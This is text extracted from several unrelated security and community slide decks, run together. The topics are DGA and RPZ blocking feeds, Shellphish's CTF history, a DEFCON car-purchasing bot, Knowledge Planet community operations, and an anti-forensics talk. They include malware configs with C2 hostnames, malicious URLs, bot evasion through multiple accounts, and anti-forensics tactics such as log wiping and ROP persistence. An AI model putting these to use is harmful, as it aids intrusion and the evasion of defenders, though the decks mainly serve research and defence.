Domain used by matsnu DGA • theirtheandaloneinto.com, Domain used by Rovnix DGA • thathistoryformertrial.com, Domain used by Rovnix DGA 16 © Fidelis Cybersecurity DGA Difficulties • DNS is under the complete control of the adversary. They can point any of their domains to anywhere they want. • What if a domain pointed to these IPs and people ingest them into their firewall? 198.41.0.4 192.228.79.201 192.33.4.12 199.7.91.13 192.203.230.10 192.5.5.241 192.112.36.4 128.63.2.53 192.36.148.17 192.58.128.30 193.0.14.129 199.7.83.42 202.12.27.33 17 © Fidelis Cybersecurity DGA Difficulties • DNS for malicious domains is under the complete control of the adversary (until/unless we seize the domain). • Using resolved IPs for RPZ or firewall rules without any filtering is giving the adversary control over your firewall or RPZ zones. • As of now, there are no good nameserver/nameserver IP feeds (that I’m aware of). 18 © Fidelis Cybersecurity Generating RPZ files • For each source and each DNS record type, generating a zone is a matter of a for loop. • Allows local locations to choose their own confidence for each file. • Allows for different policies by zone. • For instance, different landing pages for phishing vs malware C2s. • Possible to create global whitelists to prevent essential infrastructure for being blocked (i.e. root servers) 19 © Fidelis Cybersecurity DGA Feeds • My DGA feeds include all 4 indicators types (domain, IP, nameservers, nameserver IPs). • Use domain names (unless wordlist or shorter than 7 characters). • For word-lists / short domains, log but don’t block. • Don’t use IPs at this point. • Not using nameserver details at this point (no good way to do it automatically yet) 20 © Fidelis Cybersecurity Malware Configs • Every malware has different configurable items. • Not every configuration item is necessarily valuable for intelligence purposes. Some items may have default values. • Free-form text fields provide interesting data that may be useful for correlation. • Mutex can be useful for correlating binaries to the same actor. • How to get to the identity of someone using Cobalt Strike to attack you? • KEY POINT: Non-operational data is still useful for intelligence purposes. 21 © Fidelis Cybersecurity Sample DarkComet Data Key: CampaignID Value: Guest16 Key: Domains Value: 06059600929.ddns.net:1234 Key: FTPHost Value: Key: FTPKeyLogs Value: Key: FTPPassword Value: Key: FTPPort Value: Key: FTPRoot Value: Key: FTPSize Value: Key: FTPUserName Value: Key: FireWallBypass Value: 0 Key: Gencode Value: 3yHVnheK6eDm Key: Mutex Value: DC_MUTEX-W45NCJ6 Key: OfflineKeylogger Value: 1 Key: Password Value: Key: Version Value: #KCMDDC51# 22 © Fidelis Cybersecurity Sample njRat config Key: Campaign ID Value: 1111111111111111111 Key: Domain Value: apolo47.ddns.net Key: Install Dir Value: UserProfile Key: Install Flag Value: False Key: Install Name Value: svchost.exe Key: Network Separator Value: |'|'| Key: Port Value: 1177 Key: Registry Value Value: 5d5e3c1b562e3a75dc95740a35744ad0 Key: version Value: 0.6.4 23 © Fidelis Cybersecurity Bad Data? • Malware builders can be used by adversaries for a variety of purposes. • They know we mine configs for purposes of creating feeds and the like. • There have been cases with “bad data” sent to VirusTotal and other places for the purposes of poisoning automated feed generation. 24 © Fidelis Cybersecurity Bad Data? 25 © Fidelis Cybersecurity Scrubbing Malware Configs • Phase 1: • Eliminate RFC 1918 IP addresses • Use only dynamic DNS hostnames • Phase 2 (not yet operational): • For all non-RFC 1918 IP addresses and domain names, do syn() check on port to check if up. • Skip common ports. • If something is listening there, it’s “bad enough” 26 © Fidelis Cybersecurity What is an Exploit Kit? • Set of tools (prominently web-based) that exploit vulnerabilities in software (browser, Adobe, Java, etc) to spread malware. • Relatively static list of exploits each kit uses and they vary. • Rarely (but sometimes) use 0-days. • They operate as a criminal service and “sell infections” of whatever provided malware. • Primary defense: patch your OS and applications. 27 © Fidelis Cybersecurity Using a crawler • Inefficient because it will request more than what you are looking for. • Crawlers are also resource intensive the broader you are looking for behavior. • It can, however, have a global footprint and be thorough. 28 © Fidelis Cybersecurity Using a crawler • Luckily, we don’t have to make our own crawler when Microsoft will give Bing crawler malicious URLs to MAPP/VIA members. • About 26M malicious webpages daily were seen which Microsoft gives a 99% confidence interval too. • Much more than EKs. 29 © Fidelis Cybersecurity Using Bing Malicious URLs 8/4/2016 4:58:27 PM http://0000-programasnet.blogspot.com.ar/2011/03/my-defragmenter-my- defragmenter-es- un.html?action=backlinks&widgetId=Blog1&widgetType=Blog&responseType=js&postID=699478954130775 3585 216.58.216.193 us 15169 MalwareNetwork 8/4/2016 4:51:46 PM http://0000-programasnet.blogspot.com.ar/2011/03/pocopique-tv-programa-para- ver- tv.html?action=backlinks&widgetId=Blog1&widgetType=Blog&responseType=js&postID=7841830628282890 204 216.58.192.129 us 15169 ES 8/4/2016 6:06:13 PM http://0000-programasnet.blogspot.com.ar/2011/07/reparacion-de- impresoras.html 216.58.192.129 us 15169 ES 8/4/2016 6:26:04 PM http://0000-programasnet.blogspot.com.ar/2011_02_24_archive.html 216.58.192.129 us 15169 MalwareNetwork 8/4/2016 4:34:23 PM http://0000-programasnet.blogspot.com.es/2011/02/descarga-chat-para- facebook.html?action=backlinks&widgetId=Blog1&widgetType=Blog&responseType=js&postID=2134381520 774268527 216.58.192.225 us 15169 MalwareNetwork 30 © Fidelis Cybersecurity Populate Data from Exploit Kits • EKs have a hierarchical structure but the deeper levels also need to be aware of the landing pages to prevent people artificially getting malware directly from the source. • Some of these systems have vulnerabilities that will give you more info about the overall EK infrastructure, including landing pages and traffic delivery systems. 31 © Fidelis Cybersecurity Protecting Consumers From Ransomware • Abuse.ch has a ransomware tracker at https://ransomwaretracker.abuse.ch/ where you can download domain blacklists, IP blacklists, and URL blacklists. • Some risk for false positives but it is well documented. • Can even protect against tor2web based C2s. 32 © Fidelis Cybersecurity Ransomware Tracker 33 © Fidelis Cybersecurity Bottom Line • Of the hundreds of open-source feeds online today, I run only a couple. • I am very familiar with a couple more. • I have no global visibility, what not impactful to Western networks could be very impactful elsewhere (baidu, for instance, is flagged by many DGA detection algorithms). • The others, I rely on what’s online (and there often isn’t much), how do I assess confidence? • Instead of using “.” (NXDOMAIN), use CNAME rpz-passthru. • Results still logged so you can assess false positives. 34 © Fidelis Cybersecurity Quad9s • An open-resolver was set up using a similar approach, Quad9s (9.9.9.9). • Set up with locations all over the world and free to use. • Ideal for consumers (or consumer devices) looking to just point to something. • What you gain in simplicity, you lose in telemetry. • You can’t deliver targeted security awareness. 35 © Fidelis Cybersecurity How to Deliver This? • I have an RPZ server (rpz.bambenekconsulting.com) that can do DNS zone transfers (sign up form soon). • I can deliver “master” zone files that aggregate all of this or hundreds of zone files so you can mix or match, but how do I communicate changes? • Do you want me controlling your DNS policy? • I’ve opted just in the last week to simply make a RPZ zone file generator framework instead so YOU can decide your own policy and confidence levels in data. 36 © Fidelis Cybersecurity Future Work? • Taking bulletproof and other criminal networks by ASN and blocking their entire IP space. • Finding some way to find malicious nameservers in an automated way so I can stand behind them if they are blocked. • Getting every consumer facing service provider to adopt some methodology like this. 37 © Fidelis Cybersecurity To Sign up For RPZ Data • I have a server providing RPZ zone transfers, you can sign up for that here: • URL: https://docs.google.com/forms/d/1rcLFEfSmo09lPQM8YT4V U3ixTwZ-1lK_0G5R3wk5oJY/viewform?edit_requested=true • Coming soon: • Open-source RPZ zone-file generating tool (code published soon) • Github URL: https://github.com/bambenek/rpz-gen 38 Questions & Thank You! John Bambenek / [email protected] Twitter: @bambenek To access my DGA feeds go to: http://osint.bambenekconsulting.com/feeds To request access to Barncat Malware MISP go to: https://www.fidelissecurity.com/resources/fidelis-barncat
pdf
A Dozen Years of Shellphish From DEFCON to the Cyber Grand Challenge Zardus HEX on the beach ??? Giovanni Vigna Christopher Kruegel zanardi void UC Santa Barbara zanardi nullptr void balzaroth sicko irish SIMULATION 2004 UC Santa Barbara nullptr zanardi void balzaroth sicko irish TU Vienna void engiman pizzaman SIMULATION 2005 virus weaver marco beetal Northeastern and boston university UC Santa Barbara zanardi balzaroth sicko irish TU Vienna void nullptr engiman pizzaman odo adamd giullo voltaire bboe virus weaver marco beetal void pizzaman gianluca zardus cavedon spermachine kirat hacopo reyammer anton00b mw engiman nullptr SIMULATION 2006 - 2011 collin Northeastern and boston university UC Santa Barbara zanardi balzaroth sicko irish virus weaver marco beetal void odo adamd giullo voltaire bboe pizzaman gianluca zardus cavedon spermachine kirat hacopo reyammer anton00b engiman nullptr mw collin pizzaman acez fish cao salls subwire mossberg crowell nezorg rhelmot jay vitor SIMULATION 2011 - 2014 mw collin Eurecom ASU UC London Northeastern and boston university UC Santa Barbara zanardi sicko irish virus weaver marco beetal mossberg crowell nezorg rhelmot jay vitor void odo giullo voltaire bboe balzaroth adamd gianluca zardus cavedon spermachine kirat hacopo reyammer anton00b engiman nullptr mw collin pizzaman acez fish cao salls subwire mike_pizza donfos double acez balzaroth adamd gianluca SIMULATION 2015 Eurecom ASU UC London Northeastern and boston university UC Santa Barbara zanardi mossberg crowell nezorg rhelmot jay void odo zardus cavedon spermachine kirat hacopo reyammer anton00b engiman nullptr mw irish weaver giullo voltaire virus sicko marco beetal vitor bboe collin pizzaman fish cao salls subwire mike_pizza donfos double acez balzaroth adamd gianluca SIMULATION Modern day Eurecom ASU UC London Northeastern and boston university UC Santa Barbara zanardi mossberg crowell nezorg rhelmot jay void odo zardus cavedon spermachine kirat hacopo reyammer anton00b engiman nullptr mw pizzaman fish cao salls subwire mike_pizza donfos double acez balzaroth adamd gianluca SIMULATION Modern day 19 4 1 1 :-( 17 TEAM TEAM TEAM TEAM TEAM TEAM orgs SLA-- BEFORE: practice! DURING: hack! AFTER: party! BEFORE: write tools! DURING: debug tools! AFTER: plan new tools! REMINISCING 2009 SYSCALL IDS 0% SLA! -2 hackers REMINISCING 2010 DTRACE -2 hackers REMINISCING 2011 0% SLA! -4 hackers REMINISCING 2012+ 0% SLA! https://github.com/shellphish/puppeteer https://github.com/reyammer/shellnoob https://github.com/acama/xrop https://github.com/zardus/preeny https://github.com/zardus/memcurses https://github.com/zardus/idalink https://github.com/angr/angr tools! The next generation of binary analysis. BAP BitBlaze amoco Bindead Triton CodeReason radare2 PySysEmu miasm paimei insight rdis SemTrax JARVIS Jakstab vivisect BARF 2005 Hex-Rays was founded 2015 WHY??????? 2007 Hex-Rays Decompiler 1.0 2009 Hex-Rays IDA 5.5 2013 Hex-Rays IDA 6.4 2011 Hex-Rays IDA 6.1 - Making binary analysis techniques usable! - Open-source: https://github.com/angr/angr (star it!) - Written in Python! - installable with - interactive shell (using ipython) - GUI - Architecture independent x86, amd64, mips, mips64, arm, aarch64, ppc, ppc64 ELF, CGC, PE Static Analysis Routines Symbolic Execution Engine Control-Flow Graph Data-Flow Analysis Binary Loader Value-Set Analysis angr "How do I trigger path X or condition Y?" 1. Interpret the application to identify symbolic variables. read(0, &x, 4); 2. Track "constraints" on symbolic variables. 3. When the required condition is triggered, "concretize" to obtain a possible input. Static Analysis Routines Symbolic Execution Engine Control-Flow Graph Data-Flow Analysis Binary Loader Value-Set Analysis angr Whitehat CTF - crypto400 … TEAM TEAM TEAM TEAM TEAM TEAM orgs SLA-- Program Symbolic execution engine Security policies Security policy checker Exploit Security policies Arbitrary memory accesses Controllable stack pointer Controllable instruction pointer CGC Qualifiers Goal: CRASH CGC Finals Goal: EXPLOIT ~0% SLA! 56% SLA! Looking toward the future! - CGC finals! - $2,000,000 top prize - Shellphish VS Shellphish CRS - CTFs - Can our tools finally help us? - What do we do with our $750,000? References: this presentation: https://goo.gl/xFYltI hitcon ent presentation: http://goo.gl/3ulxRa angr: https://github.com/angr/angr contact: [email protected], @Zardus zanardi void nullptr balzaroth sicko irish engiman marco virus beetal weaver 2004 2005 pizzaman collin 2006 odo adamd giullo voltaire bboe 2008 Ancient History zanardi void nullptr balzaroth engiman pizzaman odo adamd gianluca zardus cavedon spermachine kirat reyammer anton00b mw hacopo nezorg rhelmot jay mossberg salls subwire mike_pizza vitor donfos fish acez crowell cao double UC Santa Barbara Northeastern and boston university TU Vienna irish nullptr zanardi void balzaroth sicko virus weaver hacopo void engiman pizzaman marco beetal collin odo adamd giullo voltaire bboe gianluca zardus cavedon spermachine kirat reyammer anton00b nezorg mw rhelmot jay mossberg salls subwire mike_pizza vitor donfos fish acez crowell cao double pizzaman engiman Eurecom balzaroth mw collin collin acez ASU adamd UC London pizzaman gianluca nullptr
pdf
DEFCON XXI How my Botnet Purchased Millions of Dollars in Cars & Defeated the Russian Hackers I want to tell you a story about... ● Hacking ● Cars ● Russian Hackers ● Screwing with the system I want to tell you a story about... ● Commercial Botnets ● Creating competitive advantages ● Not using technology as directed What you'll learn ● What makes a good Botnet / Webbot project? ● How Bots create competitive advantages for business (example) ● What I would do differently today (the example happened 6 years ago) What makes a good Bot project? ● The Bot... – Can't recreate Google – Must solve a problem – Be viable for it's service life – Doesn't “show it's hand” I have permission to tell this story. ● It's rare that I get to mention specific projects. ● I've been writing about bots since 1999 – Medical diagnostics – Privacy – Fraud detection – Private investigations – Governments So the 1st thing I did, was write this.. PLAYING NICE WITH INTERNET ATTACK TECHNIQUES UK Nov 2012 US Dec 2012 The Problem to be Solved ● Dealerships that sell new cars make most of their money on used vehicles. ● Automobile dealers spend a lot of time & money acquiring (previously owned) inventory. ● A client found a website that had great cars for sale. ● Unfortunately, due a lot of competition (and bad web design) he wasn't able to buy the cars he wanted. The Opportunity ● Daily, a national franchise posted about 300 rental returns for dealerships to purchase. ● They could view the cars before the sale. ● No car could be purchased before 10AM PDT. The Opportunity MAKE Hudson MODEL 112 Coupe YEAR 1938 MILES 47,000 CONDITION Excellent PRICE $18,500 MAKE Hudson MODEL 112 Coupe YEAR 1938 MILES 47,000 CONDITION Excellent PRICE $18,500 Before 10:00am After 10:00am The Opportunity MAKE Hudson MODEL 112 Coupe YEAR 1938 MILES 47,000 CONDITION Excellent PRICE $18,500 MAKE Hudson MODEL 112 Coupe YEAR 1938 MILES 47,000 CONDITION Excellent PRICE $18,500 Before 10:00am After 10:00am Users had to continually refresh their browser to get this button to appear And here's the real problem. If there are two hundred available cars... And here's the real problem. About five cars will be highly desirable And here's the real problem. Every franchised dealership... And here's the real problem. Attempted to buy the same cars. What my client faced ● There were a limited number of “real deals” ● Every dealership wanted the same cars ● The website's design created peak bandwidth demands, that made the website very hard to use. How my client coped MAKE Hudson MODEL 112 Coupe YEAR 1938 MILES 47,000 CONDITION Excellent PRICE $18,500 While waiting for this button to appear... ● Car dealers would recruit every available person for this task. ● These people would be assigned to specific cars ● They'd have multiple browser windows open ● They'd keep hitting the browser refresh button until it was enabled How my client coped MAKE Hudson MODEL 112 Coupe YEAR 1938 MILES 47,000 CONDITION Excellent PRICE $18,500 While waiting for this button to appear... ● Car dealers would recruit every available person for this task. ● These people would be assigned to specific cars ● They'd have multiple browser windows open ● They'd keep hitting the browser refresh button until it was enabled Every franchise (for this brand) did these things Site design caused a technical problem ● The bandwidth/server lag peaked at the sale time ● It could take as long as 30 seconds for screens to refresh TIME BANDWIDTH Time of sale Site design caused a technical problem ● The bandwidth/server lag peaked at the sale time ● It could take as long as 30 seconds for screens to refresh TIME BANDWIDTH Time of sale The website Was basically unusable ...if used as designed The client called and asked if a webbot could help. Solution, Part 1 Problems with existing system: 1. Was too manual 2. The “Buy” button took too long to appear Solution, Part 1 Problems with existing system: 1. Was too manual 2. The “Buy” button took too long to appear Note: This was seven years ago, and I don't develop like this anymore. Solution, Part 1 I developed a light weight web interface like this. Solution, Part 1 Each client was in an HTML frame. Initially, we used four instances. The client would often load the bot on multiple computers. Solution, Part 1 The first step was to validate the VIN BOT CLIENT BOT SERVER TARGET SERVER VIN VIN SEARCH FOUND / NOT FOUND GOOD / BAD Solution, Part 1 Once the VIN was validated, it waited for the client to tell it to start. Solution, Part 1 BOT CLIENT BOT SERVER TARGET SERVER SYNC REQ SERVER TIME SERVER TIME TIMESTAMP The Client Bot, then synchronized clocks with the Target And started the count down to purchase. Solution, Part 1 Every now and then, we'd miss one. Solution, Part 1 But more often: ● The sale was successful, and ● The Bot arranged for financing & shipping Success, Part 1 BEFORE AFTER SUCCESS FAILURE The client's purchase success rate went from 0% to near 100% BOT SERVER What accounted for the initial success? BOT CLIENT TARGET SERVER PURCHASE ATTEMPT BEFORE BOT CLIENT TARGET SERVER SALE ACTIVE REFRESH AFTER 12 6 3 9 TIMER PURCHASE ATTEMPT BOT SERVER BOT CLIENT TARGET SERVER PURCHASE ATTEMPT BEFORE BOT CLIENT TARGET SERVER SALE ACTIVE REFRESH AFTER 12 6 3 9 TIMER PURCHASE ATTEMPT This got slower as time of sale got close What accounted for the initial success? BOT SERVER BOT CLIENT TARGET SERVER PURCHASE ATTEMPT BEFORE BOT CLIENT TARGET SERVER SALE ACTIVE REFRESH AFTER 12 6 3 9 TIMER PURCHASE ATTEMPT The Bot was successful primarily because it didn't have to wait to be told that the sale was on. What accounted for the initial success? A sign of problems The client continued to have success for about six months. ●Suddenly, success rates dropped to about 50% ●My client discovered a competing bot developed by a group of Russian Hackers ●Competition is good, and leads to innovation. Solution, Part 2a The clock synchronization was modified to make checks more often as the sale neared, and also calculated system lag. BOT SERVER BOT CLIENT TARGET SERVER Clock Sync 12 6 3 9 TIMER SERVER TIME REQUEST SERVER TIME System lag (time req. to get Server clock) Solution, Part 2b Purchases where attempted: ● The Bot Client triggered the Bot Server to make multiple attempts to buy the vehicle. ● Each attempt was made slightly prior to the actual sale time and based on calculated system delays. BOT SERVER BOT CLIENT TARGET SERVER Clock Sync 12 6 3 9 TIMER BUY! BUY! (t=t-n1) BUY! (t=t-n2) BUY! (t=t-n3) BUY! (t=t-n4) How successful was this Bot? ● The Bot operated for about 40 weeks ● The client bought approximately 20 cars a week (estimated) ● Total cars purchased 800 (estimated) ● If the average wholesale cost ~$16,000 ● The Bot purchased $12,800,00 (estimated wholesale value) What would I do differently? ● What did it do well? ● More successful than anticipated ● Very lightweight clients ● Easily updated ● Easily distributed What would I do differently? ● Fairly stealthy ● It required authenticated users ● Affects stealthiness ● Tried to simulate human behavior ● Using multiple accounts ● The expected behavior was pretty weird What would I do differently? ● Today, it would have to accommodate newer technology ● The sale website used standard HTML forms, which are easy to emulate (submit) with simple PHP scripts ● Today's websites are more suffocated ● AJAX ● Complex forms, etc. What would I do differently? ● Vehicles could be written into a “task queue” via a web interface to the BOT SERVER BOT SERVER WEB INTERFACE TASK QUEUE       VIN STATUS JTHBW1GG3D2012782 PENDING JTHBW1GG5D2021449 PENDING JTHBW1GG6D2004871 PENDING What would I do differently? ● Tasks in the Task Queue are distributed to individual computers that I call harvesters. BOT SERVER TASK QUEUE       VIN STATUS JTHBW1GG3D2012782 PENDING JTHBW1GG5D2021449 PENDING JTHBW1GG6D2004871 PENDING ...  ... HARVESTER HARVESTER HARVESTER HARVESTER HARVESTER The harvesters may be located anywhere ● Data Center ● Office ● Cloud What would I do differently? ● The harvesters create (iMacros) browser macros on-the-fly and execute commands directly in Firefox BOT SERVER HARVESTER HARVESTER HARVESTER HARVESTER HARVESTER FIREFOX (iMacros) HARVESTER FIREFOX (iMacros) FIREFOX (iMacros) FIREFOX (iMacros) FIREFOX (iMacros) TARGET SERVER What would I do differently? Once the task is completed, the harvesters communicate back to the Bot Server, which updates the Task Queue. BOT SERVER TASK QUEUE       VIN STATUS JTHBW1GG3D2012782 BOUGHT JTHBW1GG5D2021449 FAILURE JTHBW1GG6D2004871 BOUGHT ...  ... HARVESTER HARVESTER HARVESTER HARVESTER HARVESTER The results in the Task Queue are communicated to The Client via a web interface. What would I do differently? Once the task is completed, the harvesters communicate back to the Bot Server, which updates the Task Queue. BOT SERVER TASK QUEUE       VIN STATUS JTHBW1GG3D2012782 BOUGHT JTHBW1GG5D2021449 FAILURE JTHBW1GG6D2004871 BOUGHT ...  ... HARVESTER HARVESTER HARVESTER HARVESTER HARVESTER The results in the Task Queue are communicated to The Client via a web interface. If you're interested in the details of how this is done, look-up my DEFCON 17 talk. Screen Scraper Tricks: Difficult cases SHOUTS Thanks to All of You, the DEFCON CFP Goons (particularly Nikita) for allowing me to give my 5th DEFCON talk. If you like this type of talk, the rest of my talks are on YouTube. – DEFCON X Developing Webbots & Agents – DEFCON XI Corporate Intelligence – DEFCON XV The Incredible Executable Image Exploit – DEFCON XVII Advanced Scraping: Difficult Cases ( search “schrenk DEFCON” ) [email protected] www.schrenk.com
pdf
那些年 知识星球运营分享 曹将 个人简介 曹将 畅销书《PPT炼成记》作者 世界500强企业总部培训负责人 自媒体平台详情: • 公众号:曹将 —21万读者 • 微博:曹将PPTao —52万读者 • 知乎:曹将 —10万关读者 知识星球简介 星球 曹将和朋友们 成员数 5000+ 核心成员 88 星球天数 1290 星球运营人数 1.5 巨坑 我是谁 WHO AM I 2016年 一次意外 2018年 转型 2019年 问题 2020年 清晰 有些话 只想跟你少数人说 转岗 时间不够用 招助理 我们的定位 到底是什么 WHO AM I KP 关键合作伙伴 KA 关键活动 VP 价值主张 CR 客户关系 CS 目标客群 CH渠道 KR 关键资源 C$ 成本结构 R$ 收益结构 商业模式地图 谁可以帮我? 要做什么? 我有什么? 解决客户什么痛点? 怎样和对方打交道? 我能帮助到谁? 如何宣传自己? 我要付出什么? 我会得到什么? 商业模式地图 KP 关键合作伙伴 KA 关键活动 VP 价值主张 CR 客户关系 CS 目标客群 CH渠道 KR 关键资源 C$ 成本结构 R$ 收益结构 谁可以帮我? 要做什么? 我有什么? 怎样和对方打交道? 我能帮助到谁? 如何宣传自己? 我要付出什么? 我会得到什么? 1. 知识星球 2. KOL 3. 印象笔记 4. iSlide 5. 得到 6. ⾦数据 …… 1. 拉新 2. 促活 1. 社群学习氛围 2. 免费资源 3. 红包奖励 4. 荣誉打造 5. 专属微信群 1. 职场效率提升 2. 找准⽅向少踩坑 1. 评论 2. 问答 3. 核⼼群 4. 发⽂ 5. 直播 1. 公众号 2. 微博 3. 知识星球 4. 用户⼝碑分享 ⼯作1-5年的职场⼈ 1.⼯资 2.星球奖励 3.直播感谢 4.双⼗⼀拉新优惠 星球收⼊ 解决客户什么痛点? 画完图就够了吗 LONG LONG WAY TO GO 坑一 只靠激情,没有激励 ▊ 奖励1:加入精华 ①获奖人数:不限 ②获奖频率:不限 ③衡量标准:评估发帖质量,由曹将评价 ④获奖金额:每条5元 ▊ 奖励2:“一周之星 ” ①获奖人数:1人 ②获奖频率:每周一次 ③衡量标准:当周点赞量最多 ④获奖内容:15元奖励,并受邀加入「曹将和朋友们精华群」 ▊ 奖励3:密圈互动TOP3 ①获奖人数:3人 ②获奖频率:每月两次 ③衡量标准:点赞数 ④获奖内容:第一名70元;第二名20元;第三名10元, 并受邀加入「曹将和朋友们精华群」 ▊ 奖励4:“月度之星” ①获奖人数:不限 ②获奖频率:不限 ③衡量标准:综合考虑发帖数量、加精数量和点赞量 ④获奖内容:100元奖励,纸质版「职场升级手册1.0」一本, 并受邀加入「曹将和朋友们精华群」 ▊ 奖励5:「职场加油站」最佳分享 ①获奖人数:4人 ②获奖频率:每月两次 ③衡量标准:邀请的讲师,被讲师选出的优秀作业3人 ④获奖内容:讲师激励200元,优秀作业每人30元 我们还在持续丰富我们的奖励池,包括但不 限于:得到贝、iSlide会员、金数据会员、印 象笔记会员等。 坑二 开始倾囊而出,后续弹尽粮绝 每天写 一鼓作气,再而衰,三而竭 每周更新三次 主题式更新 坑三 情怀主义服务,情绪主义结束 我要搞线下聚会。 我要搞直播。 我要做各种训练营。 我要做各种兴趣群。 我要搭建大家的人脉地图。 …… 好累啊 好烦啊 算了 一切围绕目标做 WHAT DO I WANT TO GET! 促活 数量 质量 自下而上 自上而下 引导优质 盘活优质 1. 打卡 2. 日常发⾔ 1. 密圈互动 1. 直播课后作业 1. 过往资源合辑 奖励制度 沉淀 目标 行为 子目标 保障 坑四 大锅饭,大家散 两种方案 Plan A 30元,30元,30元 Plan B 70元,20元,10元 每次互动要选出前三名进行奖励 应该选择哪一个 坑五 拉群拉群拉群,好累好累好累 “我花了99元,你应该服务我一生。” “群死了。” 我们只建精华群 普通星友 优秀星友 荣誉感 归属感 高质量发帖 - 周之星 - 月之星 - 互动TOP3 坑六 差不多就行了,差不多就算了 设计感很重要 坑七 下次注意,下次一定不注意 错误的事,都要变成流程 我是小结 一张图回答:我是谁 KP 关键合作伙伴 KA 关键活动 VP 价值主张 CR 客户关系 CS 目标客群 CH渠道 KR 关键资源 C$ 成本结构 R$ 收益结构 谁可以帮我? 要做什么? 我有什么? 怎样和对方打交道? 我能帮助到谁? 如何宣传自己? 我要付出什么? 我会得到什么? 1. 知识星球 2. KOL 3. 印象笔记 4. iSlide 5. 得到 6. ⾦数据 …… 1. 拉新 2. 促活 1. 社群学习氛围 2. 免费资源 3. 红包奖励 4. 荣誉打造 5. 专属微信群 1. 职场效率提升 2. 找准⽅向少踩坑 1. 评论 2. 问答 3. 核⼼群 4. 发⽂ 5. 直播 1. 公众号 2. 微博 3. 知识星球 4. 用户⼝碑分享 ⼯作1-5年的职场⼈ 1.⼯资 2.星球奖励 3.直播感谢 4.双⼗⼀拉新优惠 星球收⼊ 解决客户什么痛点? 跳出七个坑:做好可持续运营 1.设置星球激励机制 2.维持“一定的”更新频率 3.围绕目标设置栏目/服务 4.奖励要有拉差 5.慎重建群,只建精华群 6.慎待出街物料 7.流程化管理 公众号 曹将 知识星球 曹将和朋友们 知识星球运营分享 曹将
pdf
(Un) Fucking Forensics0 Ac#ve/Passive+memory+hacking/debugging+ + K2+/+Director+@IOACTIVE+ hBps://github.com/K2+ + About me?0 •  Hacker+for+a+while+ •  inVtero.net++ •  Memory+analysis+framework+for+Windows++ •  Super+fast/GBPS+throughput+ •  Memory+integrity+checking+of+VM’s/CrashDumps/Memory++ •  Type+aware+memory+hacking+tool++ •  EhTrace+ •  Binary+trace+tool+ •  Uses+hook/patch-less+technique+for+in-process+debugging++ •  Lots+of+other+stuff+ Outline / areas0 •  How+to+forensic,+how+to+Fuck+forensics+and+how+to+un+fuck+it.+ •  Intx80+AF+technique+on+header+wipe/non-resident+code/trim()++ •  How+to+deal+with+that+ + •  RoP+background,+how+it’s+used+in+aBacks+ •  Gargoyle+aBacks+&+how+to+protect+against+them+ + •  CloudLeech+–+twist+on+UlfFrisk+DMA+aBacks+/+PCILeech+ •  Demo+of+open+source+memory+integrity+pla_orm+for+Windows!+ Can you even forensic?0 •  In+general:++Determine+what+happened.++ Make+a+!meline+of+known+events.+ •  “Ar!facts”+disk+&+memory+(ocen+incomplete/ fragmented)+used+to+build+#meline.+ •  How+good+can+we+do?++How+do+we+know+if+were+ done?++ Ar>fact sources How aAestable are they? 0 •  Time+stamps+from+all+sources+to+derive+!meline+ (event+logs/syslog/firewall/filesystem+#me,+etc…)+ •  Wevtu!l+-+Windows+Events+Command+Line+U#lity.++ Configure+more+than+1189+event+log+sources+ •  SysMon+(from+SysInternals/Mark+Russinovich)+/+neat+ config:+ hBps://github.com/SwicOnSecurity/sysmon-config+ •  Linux+(osquery+ hBps://github.com/facebook/osquery+)++ + Handling memory0 •  Forensics+meets+Reverse+Engineering+ •  Dump+/+disassemble+determine+what+the+extent2of2capability2the2a8acker2possesses2 •  I+want+to+at+least+clear2this2guy2out2&+find+out+how2much2damage2he+did+ •  Vola#lity/Rekall+python+forensic+engines++ •  Stephen+Ridley’s+RE+memory+hacking+tool:++hBps://github.com/s7ephen/SandKit++ •  Paper:+Escaping+the+sandbox+ •  GAME+HACKING!+J+ •  Let’s+look+at+what+people+do+to+cheat+some#me?+ How to F’it? 0 •  Hide+really+well+ •  Wipe/Destroy+logging/leave+no+ trace/Stenography/Encrypt+ •  Misdirect+ •  Flood/Annoy/Make+analysis+so+ costly$$$/Obfuscate/Spoof/+ •  Direct+ABack++ •  DefCon+15:+Breaking+Forensics+ Socware:+Weaknesses+in+Cri#cal+ Evidence+Collec#on+Chris+Palmer,+ Alex+Stamos+ An#-forensics:+Furthering+digital+forensic+science+through+a+new+extended,+ granular+taxonomy:++ + Foreshadowing: normalize you’re opera>ons0 •  A+great+way+to+operate+undetected+is+to+ensure+you+are+not+an+ anomaly.+++ •  Use+the+resources+of+you’re+target+to+conduct+you’re+opera#ons.+ •  “Configura#on”+aBacks++ •  Enable+IPV6+tunneling+&+VPN+access++ •  ABacker+has+trusted+CA+capability+(added+their+privkey+to+trusted+list)+ •  The+more+“normal”+the+method+will+be+very+hard+to+dig+up+ Int0x80’s AF counter 0 ABack+against+a+tool:+ Rekall+ • Prevent+dumping+for+working+ More+ways+to+get+it;+ • Use+VAD+(kernel+source)+ • Use+PageTable+(ABI)+++ • Use+inVtero.net+ • dump.py+-+VADDump+(VAD)+or++ Dump+(PageTable)+ RoP: More normal0 •  RoP+is+an+ocen+discussed+topic+used+mostly+for+exploita#on+ •  RoP+uses+the+CPU+stack+seman#cs+to+execute+as+if+it+were+a+really+large+set+of+return+ statements.+ •  This+uses+the+code+that’s+already+on+the+system+more+“normalized”+than+if+you+had+to+inject+ an+executable+payload+that+did+not+originate+from+the+target+ •  RoP+is+used+by+Gargoyle+(Josh+Lospinoso)+as+an+example+of+a+persistence+ technique+that+evades+memory+analysis+systems+ •  There+is+hope,+we+can+detect+RoP+aBacks+through+call+chain+evalua#on+ RoP is not perfect0 hBps://www.cs.columbia.edu/~angelos/Papers/theses/vpappas_thesis.pdf+ Gargoyle persistence0 •  Leverages+a+#mer+and+blocking+ wait+that+moves+it+into+the+“ac#ve+ state”+ •  Once+ac#ve,+stages+page+ protec#on++X+ •  Then+uses+this+page+to+invoke+it’s+ primary+payload+ •  It+then+mask’s+the++X+bit+back+off+ and+goes+inac#ve+ Tools too defend against RoP aAack?0 •  Analysis:+ROPEMU:+A+Framework+for+the+Analysis+of+Complex+Code- Reuse+ABacks+ •  Dump+a+complex+RoP+execu#on+trace+into+an+ELF+!!+Wow!+ •  Detec#on:+inVtero.net+can+perform+a+stack+checking+func#on+against+ the+memory+dump.+ •  Similar+tools+for+monitoring+RoP+at+run+#me+(EhTrace,+RoPGuard,+etc…)+ •  From+the+inVtero+output,+you+really+do+NOT+want+to+see+the+Gargoyle+gadget,+ or+anything+that+looks+like+a+stack+pivot++ Injec>on techniques0 •  